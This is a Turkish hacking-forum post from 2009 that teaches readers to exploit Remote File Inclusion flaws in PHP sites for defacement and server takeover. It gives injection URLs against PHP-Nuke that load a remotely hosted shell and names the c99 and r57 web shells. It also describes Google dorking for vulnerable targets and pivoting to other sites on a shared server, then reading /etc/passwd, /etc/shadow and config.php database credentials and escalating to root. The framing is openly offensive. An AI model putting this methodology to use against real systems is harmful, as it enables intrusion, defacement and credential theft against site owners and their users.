İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

RFI hack

04-06-2009 13:59
#1
atlas_tr - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2008
Nereden:
NErDe OLsam BEğeNİRsin
Mesajlar:
2.383
Teşekkür (Etti):
19
Teşekkür (Aldı):
189
Konular:
389
Ticaret:
(0) %
Rfi Açıklarını Kullanarak Hack Yapacagız;

Önce bakalım nedir bu rfi ? RFI: Remote File İncludes söz öbeğinin kısaLtıLması
olup Türkçe karşılıgı Uzaktan Dosya Çalıştırma oldugunu söyleyebiliriz. Peki nedir uzaktan dosya çalıştırmak veya include etmek. Basitçe anlatmaya çalışırsak PHP kodlamasında include komutu ile çalıştırılması gereken dosyanın yolu gösterilir. Ve bu yolu kullanarak o dosya yerıne bizim istediğimiz başka bir dosyayı(kodu) site üzerinde çalıştırma olayına RFİ diy0ruz.

Peki PHP Coderlarının Yaptıgı Bu Kodlama Hatası Bizim Ne İşimize Yarar?

Eğer site (yani server) üzerinde serverdaki dizinleri gösterebilen servera dosya upload edebilen gerektiğinde port açabılen kodlar bulunan bir dosya çalıştırılırsa işte bu "defacer" için büyük bir fırsat oluyor ç). RFI açıkları sayesınde sadece acık olan bı sıteye değil tüm servera hakım olabılıyorsunuz.

ListPath Nedir?

Bu server üzerinde erişime sahip olmamıza yarayan kodlara listpath diy0ruz
piyasada bir sürü listpath mevcut (c99,r57 gibi)

Rfi Açıklarını Nerden Bulurum ?

Bu acıkları sitemizdeki dökümanlardan bulabılırsınız veya kendınızde olmayan bir açık yaratabılırsınız. Kodlama hatalarından bahsettik.

Ne Gibi Hatalar Rfi Açıklarına Sebep Olur?

PHP kodlamalarında kullanılan şu komutlar bizim için önemli:

include
include_once
require
require_once

Bunların oldugu yerlere bakıcaz RFİ ararken.. Şimdi örneklerle açıklayalım:

Yeni portallardan biri olan PHP-Nuke 8.0 Final daki kodları inceliy0ruz ve bakıyoruzki şöyle bir kodlama yapılmıs


Kod:
include($modpath);in nuke8/html/modules.php$
karakterının yanındaki modpath bizim için önemli. Dosya calıstırma yolumuz modpast oluyor ve açık şu şekilde yazılıyor;

http://www.hedefsite.com/html/module...odpath=http://

Not: Shellimizi bir h0stun içine atmamız gerek,piyasada mevcut.

Başka bir kod inceleyelim



Kod:
include($phpbb_root_path .'extension.inc'); in nuke8/html/modules/Forums/index.php Böyle bi durumda ise

http://www.hedefsite.com/html/module...hpbb_root_path

Bu acıklardan nasıl saldırı yapabılırız 2 saldırı cesıdı vardır

1)Rastgele Saldırı
2)Sistemli Saldırı

Rastgele saldırıyı şu şekilde yapabilirsiniz RFİ Acıgının oldugu p0rtalı kullanan siteleri o portal ile özdeşleşmiş bir arama ile google'da ararız.

Örnek:

Php-Nuke 7.8 i kullanan siteleri bulmak için


Kod:
Copyright 2005 By Francisco Burzi
Bu şekilde veya sitemızde mevcut acıklarla site hackleyebılırsınız perllerın izin verdiği ölçüde

Perm demişken bu konudanda bahsetmemiz gerekiyor çünkü yazma yetkisi önemlidir. Örneğin bi sitenin serverına rfi ile girdik ve index.php'nin yanında şöyle yazıy0r

rwxr-x---

Burdaki r,w,x ne anlama geliy0r kısaca anlatayım

R:Okuma İzni
W:Yazma İzni
X:Çalıştırma izni

Şimdi az c0k anladınız ne 0ldugunu ama tam değil çünkü kim çalıştırabılır kım okuyabılır şuradan anlıy0ruz:

Yukarıdaki 9 karakter yanyana yazılmıs 3'ü dosya sahibinin yetkilerini 3 tanesı kullanıcı grubunun yetkılerını sonuda her hangi birinin yetkılerını gösteriy0r.

Şimdi geldik asıl önemli olan sistemli saldırıya

1)Hedef Sitenin Portalını Öğrenmek
2)Hazır portal değil ise siteyi hosttan çekmek
3)Sitede acık yok ise serverdaki başka siteye bakmak
4)Acıkk var ise dizine ullaşmak
5)Serverda safe mod Off ise yönetıcı olmaya calısmak
6)Permler izin vermiy0rsa config okuyarak hack


Kısaca anlatayım hepsınden bıraz..

Sitenin portalını öğrenmek gerek bu yuzden sıteyi iyice gezın sağda solda powered veya copyright portal ile ilgili birşey varsa bulduk ve portalı google'dan aratıp acıklarını arayacagız yoksa rfi scanner..

Ama adam kendı kodlamıs diyelim, ozaman acık y0k diyemeyız! İntell,Tamper,Flashget gibi programlarla siteyi taratıy0ruz 20-30 dakika sürebılır ama hedef için değer.. Ama yine acık bulamadık ise
Sitenin ipsini başlat çalıştır cmd ftp hedefsite.com yazıp İP bulacagız ve o ip'yi www.whois.cs sitesınde aratacagız ve farklı siteler cıkıcak bu sefer bu cıkan sıtelerde rfi arayacagız.

Nihayet bulduk ve k0dumuz ile girdik. şimdi hedef dizine ulaşmaya calısmak

Öncelıkle standart bi şekılde kullanıcıların ısımlerının yazılı oldugu klasör olan /etc/passwd klasorune ulaşmaya calısıy0ruz, bulamadıysak

/etc/vdomainaliases
/var/named
/etc/shadow
/var/mail
/etc/secure

Misal bi etc/passwd şu şekildedir

root:x:0:0:root:/root:/bin/bash

şeklindedir

Burdan anlayacagımız şey var/hosts/hedefsite dizininde bulunuy0r ve biz bu dizin ile girdik, 0Lmadı by-Passs

Girdik s0nunda Safe MOd: On ise işimiz z0r ama 0F ise r00t 0Lacagız.

Girdik fakat permler yazmamızı engelliy0r bu sefer config okuyarak hack yapacagız. Bu durumda sitenin config.php dosyalarını okuyarak hack yapmaktır
Bu işlemi c99 ile yapabılırız. Bir config.php şu şekıldedır

$dbhost="local host";
$dbuname)"root";
$dbpass"123456"

c99 sh3LL veya sql ile girersenız bu bilgilere ulaşırsınız (sql kullanımı sıtemızde mevcuttur.)

Sona geldik
Kullanıcı İmzası


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı